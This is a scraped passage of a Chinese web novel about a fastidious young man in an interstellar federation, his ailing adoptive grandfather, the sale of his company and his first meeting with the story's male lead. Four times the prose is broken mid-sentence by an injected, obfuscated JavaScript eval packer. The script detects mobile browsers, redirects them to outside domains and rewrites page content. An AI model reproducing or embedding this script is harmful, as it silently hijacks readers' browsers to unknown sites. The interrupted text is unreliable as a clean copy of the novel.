当然,他眼里的草草显然和别人不一样,陆继眼睁睁地看着舒明尘把所有常接触到的地方都用消毒纸巾清理了一遍。 连垃圾桶也没放过。 这里的垃圾桶在检测到合适容纳量之后,会自动按照设定路线,将垃圾投入指定地点。 但显然在舒明尘眼里,这垃圾桶简直是病菌的培养皿,对着它来了一次全方位的清洁。 他走到门口还顿了一下,干脆一不做二不休,这下连门把手也没能逃过他的毒手。 陆上将目瞪口呆,陆上将叹为观止。 真是个狠人啊。 他看到最后舒明尘都把自己的手搓红了。 怪不得他一开始觉得有些违和。 他起身环顾了一周,喃喃道:“难怪你不愿意让他进军队。” 舒明尘要是进了军队,不是他疯,就是其他新兵疯。 沈确无奈地扯了下嘴角。 虽然原因跟这无关,但是他确实也曾试图,结果当然是收效甚微。 陆继咂舌:“这是病吧?你就没带他去看看?” 沈确摊摊手:“怎么没有,医生说是心理疾病,后来又去找了心理疗愈师,都没用。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14419744|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实真要说起来,跟他也有关系。 舒明尘是在Q74星球发现的,跟他一起被发现的还有很多孩子,这个星球资源贫瘠,但却是星盗们最钟爱的窝点。 Q74星球被端掉后,当时的联邦上将顾承就把孩子都带回来了。 彼时沈确已经退役,但之前的战事已经葬送了他的女儿,如今唯一的儿子也在Q74的战争中死亡。 他的儿子沈源,是和顾承一起上的战场,如今挚友死亡,顾承万分内疚。 “对不起,沈伯伯。”他说。 沈确悲痛欲绝。 舒明尘就是这个时候出现的。 小小的孩子躲在顾承后面,怯怯地看着面前痛苦不已的男人。 后来不知怎么,顾承忙着脚不沾地,暂时被安置在医院的舒明尘一时没人照看。 而沈确当时哀痛太过病倒了,两人被安排在同一间病房。 舒明尘大部分时间很安静,也很听话,一个人待一间屋子里不吵不闹,给他两支营养液,他就乖乖地缩在沙发上自己玩。 每次沈确问他话,他也能脆生生地应几句。 这时候舒明尘还很正常。 转折发生在某次沈确说道,可能过几天他就要去孤儿院了。 和其他一起被发现的孩子们一起。 他毕竟曾经是元帅的勤务兵,在联邦也有人脉,对于这些小孩的安置自然也提前知道了。 在桌上摆弄营养剂的小孩动作一顿。 这时候沈确不知道顾承其实是想要收养这个孩子的,正和顾家闹得不可开交。 顾家不同意一个大好前途的青年上将,在结婚之前有一个孩子,哪怕是领养的也不行。 那时候舒明尘语无伦次地问:“什么样的孩子可以离开孤儿院?” 什么样的,沈确不打算收养孩子,因此他也不知道。 于是就模模糊糊地说着:“可能是懂事的,爱干净的吧。” 小孩懵懂地眨了眨眼。 当然最终他也没被送进孤儿院,也没有被顾承收养,反而落到了沈确手里。 顾家内部关系复杂,家族的反对始终是个障碍。 正好沈确和小孩熟悉,看到他这样为难,又在种种因素的影响下,提出他要收养这个孩子。 顾承考虑了下,觉得孩子在顾家长大倒不如去沈家。 于是在两方的默认下,舒明尘和沈确就正式确定了爷孙关系。 然后沈确没多久就发现了,小孩的高度洁癖。 尽管之后沈确一万次告诉他,他之前是在胡说八道,舒明尘不会去孤儿院,但依然没能改掉这个习惯。 陆继宽慰道:“其实也不算什么大事,就是爱干净了点。” 也只能这样想了。 沈确心里发苦。 其实不光那两人对舒明尘这种高度洁癖感到震惊,舒明尘自己也不适应。 尤其是他一想起,昨天他还用手敲了敲扫地机器人,他就想把他的手消毒一万次。 舒明尘心里泪流满面,为什么这个世界的原主是个洁癖+强迫症。 而且不知道为什么,虽然现在在这个壳子里的是他,但他也同样变成了和原主一样的性格。 真是救命! 40.星际新贵(3) 舒明尘看着面前的消毒湿巾陷入了沉思。 他刚来的时候还在想,为什么车里只备了消毒湿巾,现在看来…… 原主的洁癖真是无处不在。 于是继承原主意志的舒明尘马不停蹄又下单了一箱消毒湿巾。 顺便瞅了瞅为数不多的余额。 看来卖公司的计划要赶紧提上日程了。 现在已经有几家公司联系他了,价格还不错,他再横向比较一下差不多就可以确定了。 毕竟要是和原剧情一样,拖到最后钱也不多,公司也没落在他手里。 另一边,伈钛公司内部,孟拙挑了挑眉,问道:“他真的决定卖掉了?” 之前不是还东跑西跑地拉投资,死活都不卖吗? 旁边的秘书回道: “确实如此。除了我们之外,已经有五家公司也将价目表传了过去,不过,就目前掌握的消息来看,没有一家公司的价格超过我们。” 也意味着舒明尘只要不是个傻子,这个系统会是他们的囊中之物。 舒明尘确实对伈钛开的价格很心动,相比于原剧情中原主最后得到的三瓜俩枣,这个价格可以让他在这个世界浪一辈子了。 但是…… 他在光脑上点了点,又显示出另一家公司的报价,是嘉盛。 价格低的不是一星半点。 不过他在意的是,嘉盛还附带的另一张合同。 上面清清楚楚地列出了嘉盛之后对自动操作系统的安排,以及后续如果有变动的话,他们保证会事先征得舒明尘的同意。 以及公司的所有员工嘉盛照单全收。 虽然价格不高,但是这个合同确实很让人心动。 而且他公司的员工也跟着原主打拼好几年了,最后公司支撑不下去,他总得给人家寻个出路。 相比于伈钛,嘉盛资历确实浅了点,但发展势头很好,虽然比不上大公司,但怎么也比原主这个小公司强。 对那些员工来说,也算是个好去处。 至于舒明尘自己,他又不缺钱。 况且沈老爷子对他要求也不高,只要舒明尘安安分分地做个联邦公民,沈老爷子也不介意养他一辈子。 嗯…… 安分? 舒明尘对此表示怀疑。 也不知道原主是怎么在沈老爷子根正苗红的教育下长成这样的。 按照昨晚那个情况来看,原主绝对不止一次黑进了联邦系统。 瞧沈老爷子让他写检讨的那个熟练程度。 当然昨晚他俩属于相互折磨。 舒明尘含泪写完了一万字检讨,沈老爷子无语地看着他照着格式化的标准把病房变了个样。 舒明尘又看了手里的几份报价,论价格哪家也比不上伈钛,毕竟老牌企业,财大气粗。 但嘉盛的合同是个加分项。 他来到公司,办公桌上整整齐齐地摆着几家公司的相关资料,见到老板来了,单秘书起身打了个招呼,欲言又止。 估计她也知道公司要被收购了,心里打鼓。 但舒明尘此刻没办法安慰她,只能打发她去忙些别的。 等单秘书消失在他的视线里,舒明尘才拿起桌上的资料看了起来。 他一目十行地浏览着信息,又额外整理了一下各个公司的主营业务和优势,然后五点半准时下班。 到点下班是每个老板需要保持的优良素养。 “刺啦——” 舒明尘按照躯体记忆翻炒着食物。 虽然这个时代有营养液替代日常食物,但相比于寡淡无味的营养液,大多数人还是钟爱有滋有味的餐品。 而星际时代其实很少有人亲自下厨了,高端系统早已进入家庭的方方面面。 只需要选择目的菜品,放入相应原材料,厨房控制系统会自动运作,最后得到的食物色香味俱全。 而原主这个奇葩,因为对原材料有自己的一套清洁步骤,觉得系统处理的食物不干净,这么多年来一直坚持自己下厨。 在这个时代简直是个异类。 然后现在这个异类变成他了。 舒明尘内心泪流满面。 为什么不能踏踏实实地享受!为什么非要给自己找事干! 你这么干考虑过厨房操作系统的感受吗! 他悲愤交加,但该死的熟练操作还是让他顺利完成了病人专属的三菜一汤。 等到他来到病房送饭的时候,正好对上了两双观望已久的眼睛。 陆上将搓搓手,盯着舒明尘手里的饭两眼放光。 沈老爷子虽然没有他这么明显,不过面上也是有点心不在焉了。 哎,他家孙子虽然有点强迫症,但绝对是个优秀的厨子。 这些年在舒明尘的投喂下,他的嘴早就养刁了,导致他刚开始来医院的时候根本吃不惯。 陆上将现在也同样如此。 不知道为什么,自从吃过一次之后,他瞬间觉得VIP套餐索然无味了。 他在心里默默盘算着:得把沈家的系统套出来。 他天天吃他家系统做的饭,虽然称得上好吃,但跟这个相比还是差远了。 舒明尘下班后回家,又是准备食材又是烧饭煮菜,做完后又急急忙忙地来医院,因此也没顾上吃饭。 更何况今天他拿了三人份,索性就在医院里,陪着两位老人一起吃了。 于是乎,在餐桌上,陆上将尽力挤出了一个慈祥的笑容,和蔼可亲地问道: “小舒啊,你家厨房用的什么系统啊?回头我也给我家换上。” 要是让那些新兵知道,平日严词厉色的陆上将,私下里还有这么温和的时候,估计下巴都要掉到地上。 对面青年吃饭的动作一顿。 系统? 他这可是纯人工系统。 舒明尘哭晕在厕所。 他倒是也想用系统啊! “呃,这个……” 他正想着,要怎么把他这个行为说得合理一点,那边沈确瞥了陆继一眼,有些得意道: “别想了,你换不了,只有我能用。” “为什么?难道又是军方内部试用系统?” 陆继面有不甘,继续不依不饶地说道: “是研发部那群小兔崽子弄出来的?我去申请试用。” 联邦设有国研所,由联邦总统主管,下面又分多个部门,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448964|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中研发部负责各种系统开端创设,或者对现有系统进行改进。 一旦新系统研发成功,军方内部会发起征集,相当于内测,一段时间后收集数据,再对系统进行优化,优化完成后,才会向联邦公民开放。 陆继对这种内测兴致缺缺,主要是之后还得填写一大堆问卷,他实在没有那个耐心。 不过现在嘛,陆上将后悔不已,他不关注这些,否则要是早知道有个厨房优化系统,他就申请了。 当然他的后悔并没有持续多久,因为沈确稳操胜券道:“不是。” 啊? “是哪个公司新推出了一个厨房系统?” 沈确摇头,并用手指了指舒明尘。 “是他。” 哦! “小舒真是年轻有为啊,之前还在光脑上看到小舒,果真是人才精英、商界新贵啊!” 哎? 舒明尘被这一通话夸得云里雾里的。 陆继搓搓手,说道: “你看啊,我跟你爷爷是多年的老哥们,你公司的内测系统先提前借我用用,放心,我一定会给你提出建设性意见……” 他洋洋洒洒地说了一堆,全然不见最初和舒明尘见面时的阴阳怪气。 沈确在一旁实在是憋不下去了,忍着笑说道: “不是,这饭是他做的。” “我知道是他做的……我问的是——” 他说着说着猛然意识到了什么,震惊道:“你做的?” 舒明尘囧。 “啊哈哈哈,是我是我……” 他干笑着,实则内心尴尬得要死。 陆爷爷大概以为他有病吧? 哪有人放着好好的系统不用,非要自己闲着没事一天三顿一次不落地做饭。 唔,虽然他好像确实也有点病。 陆继果然用匪夷所思地眼神上下打量了他好久。 舒明尘表面微笑,实则心里已经死了一会了。 不要再说这事了,赶紧跳下一个话题吧! 微死勿扰谢谢。 也不知道是不是他的祈祷起了作用,反正接下来关于这个问题的讨论就戛然而止了。 两个老人十分有默契地换了个话题,一边吃饭一边怀念着当年,舒明尘乐得当个背景板。 饭后,在饭盒被自动控制系统清洗一遍后,舒明尘掏出了常备工具,大刀阔斧地给饭盒来了个二次清洁。 为什么强迫症会出现在星际时代啊! 舒明尘主动承包了所有家务,于是吃饱喝足的两人来到了楼下的花园散步。 陆继感慨道:“老沈,你真是有福气啊!” 细细一想,舒明尘自从知道了这件事之后,一天三次雷打不动地来,还都是自己下厨,反正他闺女是做不到这种地步的。 沈确骄傲地挺直了腰:“我也觉得。” 陆继:…… 这货还和当年一样,顺杆就爬。 但是,他又想起这些年老伙计的不容易,心中那点争强好胜的念头便立刻烟消云散了。 他比沈确运气好,好歹还有个女儿活了下来。 沈确当年,哎。 还好现在是好的。 41.星际新贵(4) 沈确当年跟随元帅上战场,去的是最惊险万分的星盗核心星球。 那时一颗流弹在他身侧几百米处炸开,他运气好,距离炸弹中心位置又远,在还剩一口气的时候被其他士兵送进了急救仓。 他捡回了一条命。 但再也不能上战场了。 一颗碎片留在了他的脑中,那碎片穿过了顶叶和额叶,嵌入了颞叶与额叶的间隙。 即便在科技高度发达的星际,也不敢贸然打开大脑取出这个碎片。 当时的主治医生说,因为位置刁钻,若是强行取出碎片,成功率只有10%。 当然还有另一个办法,就是保守治疗,定期对碎片进行辐射抑制处理,降低碎片对大脑的损害,延长寿命。 沈确当时昏迷不醒,元帅直接发话选了第二种保守治疗。 彼时他妻子已经在战争中牺牲,两个孩子刚刚进入军校,若是沈确再出什么事,两个孩子怎么办? 他们已经失去了母亲,难道要告诉他们父亲也牺牲了? 不管从哪个方面来讲,这都是最优方案。 于是在他的战友还在战场上厮杀的时候,沈确就收到了退役的命令。 他本来想反对,但突然受到异物入侵的大脑功能区显然还不适应。 在醒来的一段时间内,他走着走着路就会突然摔倒,有时候很清楚的事情却反复想也想不明白,而且看着光脑上的信息也会突然陷入一片空白。 沈确终于认清了事实。 照他现在这个样子,去战场根本就是拖后腿的存在。 沈确就这样退居二线,开始在军部做些后勤工作,但实际上因为他的身体原因,往往也干不了什么实质性的工作。 于是在之后的很长时间里,沈确唯一的乐趣就只有他的孩子们。 他看着他们成长、蜕变,看着两张脸庞褪去稚嫩变得坚韧,他既心酸又骄傲。 他的孩子变成了他,而他似乎又变成了一个惴惴不安的孩子,在两点一线的生活中守着迟来的战报。 可是他和真正的孩子又不一样。 他感觉只守了很少很少的一段时间,他就知道,他再也等不到他的孩子了。 就像很久以前他也没有再见到他的妻子。 在战场上回来之后,有时他会痛恨自己像个废人一样地活着,有时又会庆幸他还活着。 因为他还有孩子,他的孩子还需要他。 而现在,他的庆幸死掉了。 每一个战士都有一个梦想,就是希望战争能结束在自己手里。 他也是。 可是战争一直存在,战士的牺牲却没有尽头。 许许多多人背负的梦想也变成了虚幻的泡影。 他终于无法接受,也无法坚持,大脑传来刺痛,他知道那在提醒他,去医院,去延长他的寿命。 可他要延长的寿命做什么? 他一个人又要为了什么而活着? 他没有去医院,但他也没有死。 家庭系统在检测到他昏迷后自动呼叫了急救电话,沈确再次被送往了紧急医疗救助中心。 在那里,他又见到了舒明尘。 这个小孩很怕他。 准确来说,除了顾承,这小孩对所有人都是一样的。 早在之前,沈确见到舒明尘后就察觉到了。 但他那时候沉浸于悲痛,也没心思管一个陌生小孩子的感受。 现在整个病房里只有他和这个小孩子,护士说让他体谅一下,因为最近伤兵很多,加上这些孩子,病房实在不够用了。 一个想死的人不会在意这个。 至于舒明尘,这里没有人在意他的感受。 舒明尘自己也知道。 沈确在病床上躺着,他就跑到沙发上摆弄桌上的营养剂;等到沈确走到沙发旁边,他就又颠颠地跑到病床上去了。 但沈确是作为元帅的勤务兵退役,发生这种事,而且他现在还在医院,院方肯定有相应表示。 于是当一拨拨人苦口婆心来劝他的时候,舒明尘就缩在角落的茶水桌上,沈确想如果有条缝的话,舒明尘大概会整个缩进去。 等沈确好不容易从那群人中抽出身来,发现这小孩自己在那睡着了。 他走上前拍了拍,想告诉小孩现在病房里没有别人了,可以去床上睡。 跟舒明尘待的时间久了,两人也会说些话,大多都是一些没有营养的废话。 沈确天马行空,想到什么问什么,舒明尘跟个人机似的,一板一眼地回答。 也因此,虽然舒明尘还是默默缩在角落里,但沈确觉得他俩现在也算是熟悉了,这种程度的接触应该没什么。 哪知舒明尘应激似地后撤,椅子倾倒的瞬间,连带着桌子也开始晃,尽管被沈确及时稳住,桌上的物品却还是急速地向下滑,噼里啪啦碎了一地。 滚烫的茶水硬生生地浇在了舒明尘的身上。 沈确想把他赶紧从那一堆碎片中拎出来,谁料地上的小孩看见他猛然抬起的手,下意识地抱住了头。 沈确停住了,因为他看见,病号服下的胳膊上,是一片片的伤痕。 战争的意义是什么? 那一刻,在短暂的怀疑后,他再次接受了他的信仰。 沈确把他带离了那块狼藉的地面,机器人自动开始清扫,时不时又有另外的碎渣落在地面上,那是沈确从舒明尘身上弄下来的。 小孩很害怕,但也很乖,僵硬着一动不动,任由护士帮他清理了伤口,等病房里只剩下了他们两个人,舒明尘小声说了句: “对不起。” 他好像又做错事了,会被打吗? 舒明尘垂了垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480031|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 可是这里可以吃饱饭,如果能一直待在这里,他想就算被打也是可以的。 他习惯了。 可他没有办法习惯饿肚子。 虽然他一直都在饿肚子。 他年纪最小,其他孤儿院的孩子总是来抢他的食物。 所以他不想再回到孤儿院。 沈确:“没关系。” “小孩,你愿意被我收养吗?” …… 这句话真的很糟糕。 沈确想。 他应该再委婉一点。 沈确会打仗,会驾驶机甲,会开战斗机,脾气爆说话直,你要是让他说话委婉点,他大概会“委婉”地回你一句: “去你大爷的!” 跟这种脾气火爆的人相处显然是很糟心的。 但舒明尘想的不是这个,他的表情空白了一瞬,随后问道: “那我就不用去孤儿院了是吗?” 得到肯定的回答后,舒明尘用力点了点头。 “谢谢。”他说。 他不知道对方收养他的原因,但他想他现在应该是个很糟糕的小孩,既不爱说话也不算干净。 所以这时候一个人说要收养他,他很感激。 他想,以后要做一个很好很好的小孩。 沈确想,他应该谢谢舒明尘。 两个支离破碎的灵魂靠在一起,见到了希望。 就像现在一样。 沈确想,他很久没看到舒明尘哭了。 上一次好像还是因为舒明尘和同学打架被叫家长,起因是那个同学嘲讽他是个没人要的野孩子。 舒明尘回家后抱着他哭个不停,沈确本来还想着评价一下小孩的处理方法,结果最终也没忍得下心开这个口。 而现在,沈确看着趴在他身上的舒明尘,拍了拍道:“别哭了。” “我没有!” 他语气很强硬地应了一句,但沈确感受着肩膀传来的濡湿感,无奈地叹了口气。 他其实已经预知了这个结果。 自从收养了舒明尘之后,沈老爷子每次都按时去医院,他这次突然晕倒,很大的可能是他的大脑出现了问题。 机器人检测到衣物脏污情况,走过来问需不需要衣服清洗功能。 沈确笑了一下。 舒明尘:…… 他抬脚把小机器人踢到了墙边。 沈确说:“你跟它置什么气?” 舒明尘的眼睛还是红的,愤愤道:“我还不能跟一个机器人置气了?” 沈确摸了摸鼻子,心虚地转移了话题:“你公司怎么样了?” 之前看舒明尘忙的要死,最近倒是闲下来了。 舒明尘:“挺好的,最近情况稳定下来了。” 合同签了,公司卖了,可不稳定吗? 42.星际新贵(5) “少将!” 检测中心数据室内,身穿银白色制服的分析员做了个标准的军礼。 祁聿盯着眼前的数据拟合模型,问道:“这就是γ13A4系统的结果?” “是的,少将。” “实战训练数据显示,在搭载γ13A4系统后,机甲爆发力和攻击力均有很大程度的提升,尤其是对于SA型号而言,提升效果远远高于其他型号。” 这在情理之中。 祁聿看着数据若有所思。 SA型号的机甲是目前军方投入使用的攻击力最高的机甲,新系统既然在提升战斗力方面有独特的表现,理应在SA型号上最为显著。 “但问题在于,γ13A4系统和机甲的拟合效果并不稳定。” 另一名分析员在面前的光屏点了点,屏幕上清清楚楚展示了正常战斗过程中机甲的数据变化。 相比目前正在使用的机甲系统,γ13A4系统的前半段数据无疑十分优异,但祁聿微微拧眉,目光落在了后期一段直线下滑的数据。 分析员解释道: “若是想得到最高爆发力数据,γ13A4系统需要士兵进行极为精准的操作,我们将目前的所有人工智能系统进行适配,效果并不好。” 人工智能到底只是辅助,目前的人工智能系统的精确度已经达到了一个阈值,无法再突破,也达不到新系统的要求。 这也意味着这个操作只能由士兵自己完成,但在长时间战斗中士兵必然疲劳,也就出现了后期各方面数据急速下滑的局面。 不稳定的系统在实际战斗中就相当于一个定时炸弹,军方绝不会批准这种系统投入使用。 祁聿问道:“其他型号的机甲呢?” 下一秒,各种各样的数据图出现在了光屏中。 “经过系统测算,虽然新系统在某些型号上性能并不显著,但总体而言,数据变化趋势是一样的。” 分析员指着其中一个数据图接着说道: “例如SW型号机甲,由于本身攻击力较低,因此在这个方面,γ13A4系统提升有限,但搭载新系统后其搜索闪避功能大大提升,不过……” 时间一长,性能还是会急速下降。 “把所有数据发到研发部,另外,在模拟试炼中选出前一百名新生试用新系统,得到的数据发到我终端上。” “是!” 祁聿大步流星走出训练基地,迎面碰见了盛津,这傻小子闷着头也不看路,被祁聿拎着衣领才恍然大悟地抬起头。 盛津一脸赔笑:“祁哥!” 还没等祁聿说什么,盛津跟倒豆子似的自己吧嗒吧嗒全交代了: “我给你发消息你不回,我猜你肯定是来检测中心了,我就来这里看看。” 说完又一脸谄媚地看着祁聿。 祁聿:“……数据已经发到研发中心了。” 搞技术的真是心急啊。 盛津其实心里对数据已经有个底了,但面上还是回应了一下:“嗯嗯嗯。” “那祁哥你要去吃饭吗?我请你。” 祁聿:“现在才不到十点。” 盛津:“那祁哥你接下来干什么?我陪你……” 祁聿:“你到底要干什么?” 他本来以为盛津是来看数据的,现在看来好像不是。 盛津声音明显弱了下去:“我想回嘉盛看看我哥。” 盛家有公司,盛津作为家里最小的孩子,自小千娇万宠,家里把他安排地明明白白,盛津进公司是板上钉钉的事。 但盛津不知道从哪搞来的路子,直接通过特招进了联邦研发部。 盛家不同意,那段时间他跟家里闹得不可开交,到现在关系也没缓过来。 祁聿挑挑眉:“想通了?” 盛津撑着一张人畜无害的脸:“嗯嗯,我觉得还是应该和家里好好说说,让他们理解我。” 理解是不可能理解的,照他家里那个架势,除非他答应离开研发部进公司,否则一切免谈。 但是现在在祁哥面前,只能拿这个当由头先混过去了。 祁聿想他和盛屹也算是旧识,现在人家弟弟都求到他跟前了,怎么着也没有回绝的道理。 但是今天不行。 于是祁聿想了想回道:“后天吧。” 大概没想到是这个答案,盛津头顶的呆毛晃了晃,一脸疑惑:“哎?” 他在江哥那边旁敲侧击,又明里暗里“路过”好几次训练中心,好不容易打探到今天祁哥事少才来的,消息竟然出错了吗? 这真是他这个情报小能手的败笔! 祁聿揉了揉他的脑袋,安慰道: “其实你也不用非要拉着我去,你们是一家人,有些事说开就好了。” 祁哥你是不知道啊,盛津心里苦哈哈,要是不拉着你去,我怕我哥当场就给我来个“爱”的教育。 那个场面他想想就惊悚。 盛津拍着胸脯后怕似地说道:“不行啊祁哥,我一看我哥那眼神就打怵。” 盛屹吗? 当时一块上学的时候就属盛屹最正气,他们还开玩笑说盛屹应该是他们这群人中最适合当官的。 结果反倒是只有盛屹去了公司,没有再踏入军政。 不过盛屹板着一张脸确实挺吓人的。 “那后天我陪你回去一趟。” “嗯嗯,谢谢祁哥。” 祁聿看着欢呼雀跃的小孩哑然失笑。 他和盛屹是同龄人,而盛屹比盛津大了十岁,所以有时候盛津怕盛屹也不是没有道理。 毕竟年龄差太大,盛屹也不是个幽默风趣的个性,只会一板一眼地教导自己的弟弟,有这么一个哥哥,跟多了一个家长没什么两样。 两兄弟之间的相处模式也自然不太平等。 祁聿和盛津告别后就走出了数据部,悬浮车接到指令,稳稳停在他面前。 “去联邦第三军部医院。” 宽敞座椅前的空白屏幕瞬间出现了实时路况及行驶路线,祁聿无聊地翻看着光脑,一条新资讯蹦了出来。 他略略扫了一眼,好像是一个公司被嘉盛收购了,那盛津选的时间点还挺好,他哥最近心情不错。 在这篇文章中,和人握手的嘉盛总裁盛屹一脸微笑地望向记者。 这个表情,祁聿啧啧称奇,这是占了多大的便宜啊。 悬浮车内部灯光闪了下,祁聿面前的屏幕已经替换成了医院,目的地到了。 既然是来探望病人,祁聿早就备好了礼品,提着东西就踏入了住院部。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642988|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这里内部是随处可见的机器人,正维持着众多纷杂的病人看诊秩序,一些新开发辅助型机甲也会在这里做试点。 一些紧密而有序。 祁聿有自己的目的地,没多久,他便抬脚走进了一间病房。 病房内,沈老爷子正在吐槽舒明尘最近天天点卯上任似地在他这待着,好像这里成了对方新的办公室一样。 舒明尘在那削着水果,听着这话头都没抬,一边继续着手里的动作一边回道:“老板适当休息有助于营造良好办公氛围。” “所以啊,”他把削好的一半递到沈确手里,颇有心得地说道,“我可是个好老板。” …… 沈老爷子听舒明尘自夸听得耳朵都起茧子了。 于是他发自内心地问了一句:“你这样三天打鱼、两天晒网的,你的公司还好吗?” 舒明尘想打着包票说他的公司现在好得不能再好了。 当然他没说出来。 因为这个时候门口的光屏正好播报了一条即时探视申请。 沈老爷子开放了权限,下一刻,病房门应声而开。 自从沈老爷子入院以来,各种探望络绎不绝,他已经习惯了。 不过在看清来人的那一刻,沈确还是吃了一惊。 “小聿?” 因为是军部医院,军人出现在这里也不突兀。祁聿从训练中心直接过来,也没有换衣服,笔挺的军装映出他颀长的身形,对着病床上的沈确笑道: “看来是我来的次数还不够多,怎么沈爷爷看到我这么惊讶?” 沈老爷子哈哈大笑。 一旁的舒明尘被初次登场的男主闪瞎了眼。 他默默环视了一遍男主,不愧是个军人啊,从上到下一丝不苟,连每根头发丝都有自己的位置。 让身为强迫症的他看着很舒服。 舒明尘在心里暗自喟叹着,男主是这个世界为数不多让他感官舒服的人。 来到这个世界这么多天,猛的一见到这么合他三观的装束,舒明尘感觉自己受到了净化。 祁聿聊了两句就把视线投向了舒明尘,沈老爷子就坡下驴地打算给两人介绍一下,结果发现舒明尘一脸满足地看着祁聿。 …… 这表情他可太熟悉了。 沈确咳嗽了一声,眼看着舒明尘回神了,又装作若无其事地继续介绍。 “这是我孙子,小舒。” 舒明尘和祁聿礼貌性地握了下手,习惯使然,舒明尘稍稍接触了一下便放开了。 哎,随便握手真是太不卫生了。 祁聿只感觉两只手略略碰了碰,正当他打算继续的时候,舒明尘抽出了手。 祁聿:? 他一脸疑惑地看向对方,舒明尘不明就里,露出了一个礼貌性微笑。 接下来就是两人之间的寒暄,跟舒明尘也没什么关系。 况且来探望沈确的都和军部有或深或浅的关系,沈确不想让原主和军队扯上关系,因此舒明尘随便找了个理由就溜走了。 不过好像祁聿也没在病房待多久,问就是舒明尘正在一旁认真搓洗自己的手,结果抬头发现面前的镜子中映出一个人。 是祁聿。 祁聿看了看舒明尘搓得发红的手,一脸一言难尽。 43.星际新贵(6) 祁家权势滔天,曾出过两任元帅,祁家人的身影遍布联邦各处,祁聿的父亲祁泊迁还曾是星舰首席指挥官,即便后来祁泊迁主动退出舰队,也在财政部担任要职。 在这样的家庭背景下,祁聿不说自视甚高,但能进入他视野的都是无不都是人情世故通达之人,像舒明尘这样毫不遮掩地嫌弃还是头一遭。 原本到嘴边的话转了一圈,被祁聿硬生生地咽了回去,神情冷淡地回了一句:“嗯。” 随后目不斜视地走开了。 虽然祁聿对那些虚伪阿谀的做法嗤之以鼻,但也不至于对明目张胆的不喜视而不见。 没当场发作已经很有教养了。 已经习惯原主洗手强度并没意识到冒犯了主角的舒明尘留在原地一脸懵。 他还以为祁聿找他有事,结果好像只是单纯路过? 这个世界的另一个主角是医生,祁聿应该是顺便去找他了,自圆其说的舒明尘觉得这就是真相。 他低头看了眼时间,觉得差不多可以去准备午餐了,就在光脑上给爷爷发了条消息,驱车上路。 祁聿确实是来找江绪了。 他这段时间忙的脚不沾地,好不容易今天中午能有三个小时的空余时间,又正好在医院,就顺便来看看江绪。 病房内,江绪将诊断结果输入医院系统,点击提交后,药品储藏室内机器人指示灯亮起,与此同时,患者光脑上受到了他的诊断报告和治疗方案,道完谢之后,起身离开了病房。 接下来他只需要在特定位置等待一段时间,相关药物就会由机器人送到他的手上。 江绪看了眼系统,上午还有两位病人预约。 此时系统跳出一条新的看诊申请,似乎是系统临时插进来的,江绪草草看了眼,点击了同意。 识别到已知指令,“咔哒”一声,祁聿面前的白色金属门自动开启,在满室明亮的光线下,他一眼就看到了端坐在光屏后的江绪。 银丝镜片下的双眼沉静而锐利,标配的白大褂规规矩矩地套在身上,祁聿感觉江绪整个人似乎都与环境融为一体,弥漫着无机质的冰冷。 他舔了舔牙,刻意压低声线说道:“医生,我感觉胸口这有点闷。” “哪个位置……” 江绪本想确认好位置用仪器检测一下,结果抬头就看到了祁聿捂着胸口卖惨。 于是他见怪不怪地又把仪器推了回去。 江绪关掉了面前的诊疗记录,神色自若地分析道: “你这种症状原因很多,最严重的一种情况是由β-259高辐射粒子进入人体引起的免疫系统排斥反应,建议先去检验科排查一下病因。” 祁聿“虚弱无力”道:“我感觉我现在很难受,能不能请医生现在就给我检查一下……” “行啊。” 似是没想到江绪就这么答应了,祁聿一时间不知作何反应。 明明是他主动挑起的,现在局势倒是不明晰了起来。 江绪站起身,镜片的反光遮住了含笑的眼底,眼前的“病人”呆呆愣愣的,似乎并不清楚接下来如何做。 于是江绪开始下达指令:“把外衣脱掉。” 硬质笔挺的军装内部是妥帖的衬衫,衬衫下的肌肉恰到好处,江绪随手从抽屉中抽出了一副手套,对着祁聿继续吩咐道: “把扣子解开。” 